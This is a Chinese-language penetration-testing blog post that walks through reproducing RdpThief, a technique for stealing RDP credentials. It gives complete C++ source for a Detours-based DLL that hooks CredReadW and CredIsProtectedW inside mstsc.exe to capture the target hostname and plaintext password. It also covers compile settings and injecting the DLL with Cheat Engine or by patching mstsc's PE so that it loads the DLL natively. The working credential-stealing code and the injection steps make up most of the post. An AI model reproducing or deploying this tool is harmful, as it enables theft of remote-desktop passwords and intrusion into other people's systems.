前言
滲透過程中,當發現RDP連接中有記錄,但密碼未保存,找到RdpThief,本文是一篇利用復現。
實踐
系統
windows 7 32
將API Monitor,附加選擇mstsc進程,如圖所示:
RDP點擊連接,並查看API Monitor列表
如果未監聽到,請在左側API帥選器中勾選如圖
可以看到,連接IP出現在CredReadW的調用中,直接HOOK這個位置就可以獲取連接IP,方法很多可以E語言實現比較簡單,這里我們參考RdpThief源碼,使用Detours
框架來實現HOOK。
首先編譯框架,利用VS自帶工具VsDevCmd.bat,cd到Detours的src目錄
使用nmake命令編譯,並安裝框架
這里直接使用MessageBoxW將HOOK的結果彈出,查看效果。
#include "stdafx.h"
#include <Windows.h>
#include <detours.h>
#include <dpapi.h>
#include <wincred.h>
#include <strsafe.h>
#include <subauth.h>
#define SECURITY_WIN32
#include <sspi.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "Secur32.lib")
static BOOL(WINAPI *OriginalCredReadW)(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential) = CredReadW;
BOOL HookedCredReadW(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential)
{
MessageBoxW(NULL, TargetName,L"Hostname",0);
return OriginalCredReadW(TargetName, Type, Flags, Credential);
}
static BOOL(WINAPI *OriginalCredIsProtectedW)(LPWSTR pszProtectedCredentials, CRED_PROTECTION_TYPE *pProtectionType) = CredIsProtectedW;
BOOL HookedCredIsProtectedW(LPWSTR pszProtectedCredentials, CRED_PROTECTION_TYPE *pProtectionType)
{
MessageBoxW(NULL, pszProtectedCredentials, L"Password", 0);
return OriginalCredIsProtectedW(pszProtectedCredentials, pProtectionType);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
if (DetourIsHelperProcess()) {
return TRUE;
}
if (dwReason == DLL_PROCESS_ATTACH) {
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalCredReadW, HookedCredReadW);
DetourAttach(&(PVOID&)OriginalCredIsProtectedW, HookedCredIsProtectedW);
DetourTransactionCommit();
}
else if (dwReason == DLL_PROCESS_DETACH) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalCredReadW, HookedCredReadW);
DetourDetach(&(PVOID&)OriginalCredIsProtectedW, HookedCredIsProtectedW);
DetourTransactionCommit();
}
return TRUE;
}
這2個坑點,第1需要選擇多線程編譯模式,第2編譯要用Release否則注入后程序會崩潰。
編譯后,使用Cheat Engine將DLL注入mstsc進程,真實項目中,可通過PE修改方式直接使mstsc原生調用DLL。